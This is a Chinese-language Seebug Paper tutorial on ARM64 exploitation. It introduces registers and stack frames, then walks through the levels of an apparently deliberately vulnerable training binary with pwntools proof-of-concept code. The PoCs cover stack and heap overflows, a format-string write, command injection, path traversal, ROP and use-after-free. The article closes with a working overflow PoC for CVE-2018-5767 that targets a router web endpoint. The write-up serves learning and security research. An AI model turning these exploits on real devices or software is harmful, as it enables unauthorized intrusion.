作者:Ryze-T
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送! 投稿邮箱:[email protected]
ARM 属于 CPU 架构的一种,主要应用于嵌入式设备、智能手机、平板电脑、智能穿戴、物联网设备等。
ARM64 指使用64位ARM指令集,64位指指数据处理能力即一条指令处理的数据宽度,指令编码使用定长32比特编码。
字节序分为大端(BE)和小端(LE):
在v3之前,ARM体系结构为little-endian字节序,此后,ARM处理器成为BI-endian,并具允许可切换字节序。
R0-R12:正常操作期间存储临时值、指针。
其中:
当参数少于4个时,子程序间通过寄存器R0~R3来传递参数;当参数个数多于4个时,将多余的参数通过数据栈进行传递,入栈顺序与参数顺序正好相反,子程序返回前无需恢复R0~R3的值。
在子程序中,使用R4~R11保存局部变量,若使用需要入栈保存,子程序返回前需要恢复这些寄存器;R12是临时寄存器,使用不需要保存。 子程序返回32位的整数,使用R0返回;返回64位整数时,使用R0返回低位,R1返回高位。
ARM 指令模版:
MNEMONIC{S} {condition} {Rd}, Operand1, Operand2
[!NOTE] MNEMONIC:指令简称 {S}:可选后缀,如果指定了S,即可根据结果更新条件标志 {condition}:执行指令需满足的条件 {Rd}:用于存储指令结果的寄存器 Operand1:第一个操作数,寄存器或立即数 Operand2:可选,可以是立即数或者带可移位的寄存器
栈帧是一个函数所使用的那部分栈,所有的函数的栈帧串起来就是一个完整的栈。栈帧的边界分别由 fp 和 sp 来限定。
FP就是栈基址,它指向函数的栈帧起始地址;SP则是函数的栈指针,它指向栈顶的位置。ARM压栈的顺序依次为当前函数指针PC、返回指针LR、栈指针SP、栈基址FP、传入参数个数及指针、本地变量和临时变量。
如果函数准备调用另一个函数,跳转之前临时变量区先要保存另一个函数的参数。从main函数进入到func1函数,main函数的上边界和下边界保存在被它调用的栈帧里面。
叶子函数是指本身不会调用其他函数,非叶子函数相反。非叶子函数在调用时 LR 会被修改,因此需要保留该寄存器的值。在栈溢出的场景下,非叶子函数的利用会比较简单。
ARM架构的二进制程序,要进行固件模拟才可以运行和调试。
目前比较主流的方法还是使用QEMU,可以参考路由器固件模拟环境搭建,也可以用一些仿真工具,比如 Firmadyne 和 firmAE。
如果想依靠固件模拟自建一些工具,可以考虑使用 Qiling。
运行bin目录下的 expliot64开始进行挑战:
漏洞触发代码如下:
a1 是传入的第二个参数,atoi 函数可以将传入的参数字符串转为整数,然后进行判断,第一个判断是判断转换后的v2是否为0或负数,若不是,则进入第二个判断,判断 v2 的低16位(WORD)是否不为0,即低16位是否为0,若为0则跳过判断。
atoi 函数存在整数溢出,当输入 -65536,会转换为0xffff0000:
此数的低16位是0,因此可以绕过判断。
漏洞触发代码如下:
verify_user 函数会验证输入的第一个参数是否为 admin,验证完成后,会继续验证第二个参数是否是 funny,看起来似乎很简单,但是可以看到即使两个参数都按照要求输入,也不会得到 level3 password:
查看第三关的入口,可以看到第三关的password参数为 aVelvet:
通过查找引用可以得到 level3password 这个函数才是输出 aVelvet 的关键函数,但是此函数并未被引用。然而 strcpy(&v3, a1) 这一行伪代码暴露出存在栈溢出,因此可以通过覆盖栈上存储的返回地址,来跳转到 level3password 函数中。
首先通过 pwndbg cyclic 生成一个长度为200的序列,当作第一个参数输入:
得到偏移为16。
IDA 查看 level3password 地址为 0x401178,因此构造PoC:
from pwn import *
context.arch = 'aarch64'
context.os = 'linux'
pad = b'aaaaaaaaaaaaaaaa\x78\x11\x40'
io = process(argv=['./exploit64','help',pad,'123'])
print(io.recv())
得到 password “Velvet”
抽出核心代码为:
a1 = atoi(argv[2]);
a2 = atoi(argv[3]);
_DWORD v3[32]; // [xsp+20h] [xbp+20h]
v3[a1] = a2;
return printf("filling array position %d with %d\n", a1, a2);
这里有很明显的数组越界写入的问题。用gdb 进行调试:gdb --args ./exploit64 Velvet 33 1
,在 0x401310(str w2, [x1, x0] 数组赋值) 处下断点,查看寄存器:
可以看到,当执行到赋值语句时,值传递是在栈上进行的,因此此处可以实现栈上的覆盖。
gdbserver配合IDA pro 尝试:
当传入参数为34,00000000 时,可以看到此刻执行STR W2, [X1,X0]
是将00000000 传到 0x000FFFFFFFFEBC0 + 0x84 = 0x000FFFFFFFFEC44 中:
0x000FFFFFFFFEC48 存储的就是 array_overflow 函数在栈上存储的返回地址。
因此只要覆盖此位置就可以劫持程序执行流。与 level2 同理,找到password 函数地址为 0x00000000004012C8
因此构造PoC:
from pwn import *
context.arch = 'aarch64'
context.os = 'linux'
context.log_level = 'debug'
pad = "4199112"(0x00000000004012C8转十进制作为字符串传入)
io = process(argv=['./exploit64','Velvet',"34",pad])
print(io.recv())
核心代码如下:
传入的参数长度不能大于 0x100,复制到v3[256] 后,要使 v4 = 0。
字符串在程序中表示时,其实是会多出一个 "0x00" 来作为字符串到结束符号。因此PoC为:
from pwn import *
context.arch = 'aarch64'
context.os = 'linux'
context.log_level = 'debug'
payload = 'a' * 256
io = process(argv=['./exploit64','mysecret',payload])
print(io.recv())
Stack Cookie 是为了应对栈溢出采取的防护手段之一,目的是在栈上放入一个检验值,若栈溢出Payload在覆盖栈空间时,也覆盖了 Stack Cookie,则校验 Cookie 时会退出。
这里的Stack Cookie 是 secret = 0x1337。
通过汇编可以看出,v2 存储在 sp+0x58 -- sp+ 0x28 中,所以当 strcpy 没限制长度时,可以覆盖栈空间,secret 存储在 sp+0x6C 中,v3 存储在 sp+0x68中,因此只要覆盖这两个位置为判断值,就可以完成攻击。
[!NOTE] 格式化字符串漏洞 格式化字符串漏洞是比较经典的漏洞之一。 printf 函数的第一个参数是字符串,开发者可以使用占位符,将实际要输出的内容,也就是第二个参数通过占位符标识的格式输出。 例如: 当第二个参数为空时,程序也可以输出: 这是因为,printf从栈上取参时,当第一个参数中存在占位符,它会认为第二个参数也已经压入栈,因此通过这种方式可以读到栈上存储的值。 格式化字符串漏洞的典型利用方法有三个: 1. 栈上数据,如上所述 2. 任意地址读: 当占位符为%s时,读取的第二个参数会被当作目标字符串的地址,因此如果可以在栈上写入目标地址,然后作为第二个参数传递给printf,就可以实现任意地址读 3. 任意地址写: 当占位符为%n时,其含义是将占位符之前成功输出的字节数写入到目标地址中,因此可以实现任意地址写,如: 一般配合%c使用,%c可以输出一个字符,在利用时通过会使用
程序逻辑为:
程序逻辑为输入 password,打印 password,判断 v1 是否为 89,是则输出密码。
这里 printf(Password),Password 完全可控,这里存在格式化字符串漏洞。
通过汇编可以看到:
Arm64 函数调用时前八个参数会存入 x0-x7 寄存器,因此第8个占位符会从栈上开始取参,sp+0x18 是我们需要修改的地址,因此偏移为 7+3=10。
PoC为:
from pwn import *
context.arch = 'aarch64'
context.os = 'linux'
context.log_level = 'debug'
payload = '%16lx'*9+'%201c%n' # 16*9+201=345=0x159
io = process(argv=['./exploit64','happyness'])
io.sendline(payload)
print(io.recv())
v7 和 v8 都是创建的堆空间,且在 strcpy 时未规定长度,因此可以产生堆溢出,从而覆盖到v7的堆空间,完成判断。
通过 pwngdb 生成测试字符串,在 printf处下断点,查看 v7 是否被覆盖和偏移:
通过 x1 寄存器可知,偏移为 48。
因此 PoC为:
from pwn import *
context.arch = 'aarch64'
context.os = 'linux'
context.log_level = 'debug'
payload = 'A'*48 + '\x63\x67'
io = process(argv=['./exploit64','mypony',payload])
#io.sendline(payload)
print(io.recv())
一直跟进Msg:Msg:
而在strcpy 下面一行有用 v12 作为函数指针执行,v12 = v2 = &Run::Run(v2),
因此需要通过strcpy覆盖栈空间上存储的v12,来控制函数执行流。且覆盖为0x4c55a0,从而在取出 v12 当作函数指针执行时可以指向Msg::msg:
根据汇编,v12 存储在 sp+0x90-0x10 = sp+0x80 处,strcpy 从 sp+0x90-0x68 = sp+0x28 处开始,偏移为 0x80-0x28 - 0x8 = 0x50。
因此PoC为:./exploit64 Exploiter $(python -c 'import sys;sys.stdout.buffer.write(b"A"*(20*4)+b"\xa0\x55\x4c\x00\x00\x00\x00\x00")')
先使用 gdb 调试, gdb --args ./exploit64 Gimme a 1
,程序报错:
第二个参数应该填写的是地址:
在程序执行过程中,v4指向的值会被置0,v4指向的是a1的地址,因此a1地址指向的值会变为0。
因此要想完成 v3 的判断,只需要将 v3 地址传入即可。
PoC为./exploit64 Gimme 0xffffffffec9c 1
:
关键点 v9 = "man" + *(a2+16)
,v9中要包含 “;” 才可以完成判断。
因此 PoC 为 ./exploit64 Fun "a;whoami"
:
PoC为./exploit64 Violet dir1/dir2/../..
scanf 并未限制长度,因此此处存在溢出,通过pwndbg 的 cyclic 得到偏移为72。
现在目的是跳到 comp 函数中,且参数要为 0x5678:
因此需要构造 Rop Gadget,构造的 Gadget 应该具备以下功能,将comp 判断的地址 0x400784加入lr寄存器(x30),并能执行 ret,这样就可以在溢出时,将程序执行流劫持到 Rop Gadget 的地址。
这样在跳转时这个地址会被压栈作为 Rop 的 ret 的返回地址。
程序给了一个叫 ropgadgetstack 的 rop Gadget:
通过调试可知,x0 和 x1 在 0x400744 执行后都为当前sp寄存器存储的值,因此 0x400784的比较可以正常完成;lr寄存器,也就是x30 = (0x400744 时)sp+0x10 + 0x8。
输入 payload = b'A'*72 + p64(0x400744) + b'BBBBCCCCDDDDEEEEFFFFGGGGHHHHJJJJKKKKLLLLMMMMNNNNOOOOPPPP'
进行调试:
可知,paylad 从 0x400744后,再填充32个字符开始,会覆盖到当前$sp,因此只要再覆盖24个字符后,覆盖为 0x400784 就可以在 ret 执行后跳到 comp 的比较处。payload为 payload = b'A'*72 + p64(0x400744) + b'B'*32 + b'C'*16 + b'D'*8 + p64(0x400784)
根据代码逻辑可看出,输入的第二个参数决定了执行 switch 几次以及执行那一个选项,0是 malloc,mappingstr就指向堆块;1是 free;2 是函数指针执行;3是 malloc,且malloc 申请地址后存储的值就是 command。
很明显这是一个Use After Free,通过0创建一个堆块,mappingstr不为空此时再 free mappingstr,再malloc一个相同大小的堆块,就可以申请到 mappingstr 的堆块,复制 command 到堆块后,再通过函数指针执行。level13password函数地址是 0x4008c4。
因此 payload 为:payload = b'a' * 64 + p64(0x4008c4)
执行参数为 0312:
与ROP不同,JOP 是使用程序间接接跳转和间接调用指令来改变程序的控制流,当程序在执行间接跳转或者是间接调用指令时,程序将从指定寄存器中获得其跳转的目的地址,由于这些跳转目的地址被保存在寄存器中,而攻击者又能通过修改栈中的内容来修改寄存器内容,这使得程序中间接跳转和间接调用的目的地址能被攻击者篡改,从而劫持了程序的执行流。
关键点在两个 fread 上,第一个 fread 将文件中的4个字节读到 v2 中,第二个read 又将 v2 作为读取字节数,从 v5 中读取到 v3,v3 分配在栈空间上,因此这里会出现栈溢出。
看汇编会更明显:
通过 gdb 测试,得到偏移为 52。
往一个文件里写入 data = b'A'*52 + p64(0x400898)
执行:
具体分析过程可见:CVE-2018-5767
漏洞触发点在:
此处存在一个未经验证的 sscanf,它会将 v40 中存储的值按照 "%*[^=]=%[^;];*"
格式化输入到 v33,但是并未验证字符串长度,因此此处会产生一个栈溢出。
PoC 如下:
import requests
url = "http://10.211.55.4:80/goform/execCommand"
payload = 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae' +".png"
headers = {
'Cookie': 'password=' + payload
}
print(headers)
response = requests.request("GET", url, headers=headers)
通过远程调试可观察到,在 PoC 执行后:
由于栈溢出,PC 寄存器被覆盖,导致程序执行到错误的内存地址而报错。偏移量为444。
ARM的分析与x86类似,只是在函数调用、寄存器等方面存在差异,相对来说保护机制也较弱,且应用场景更为广泛,如IOT设备、车联网等,如果能顺利完成固件提取,可玩性相对较高。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/2064/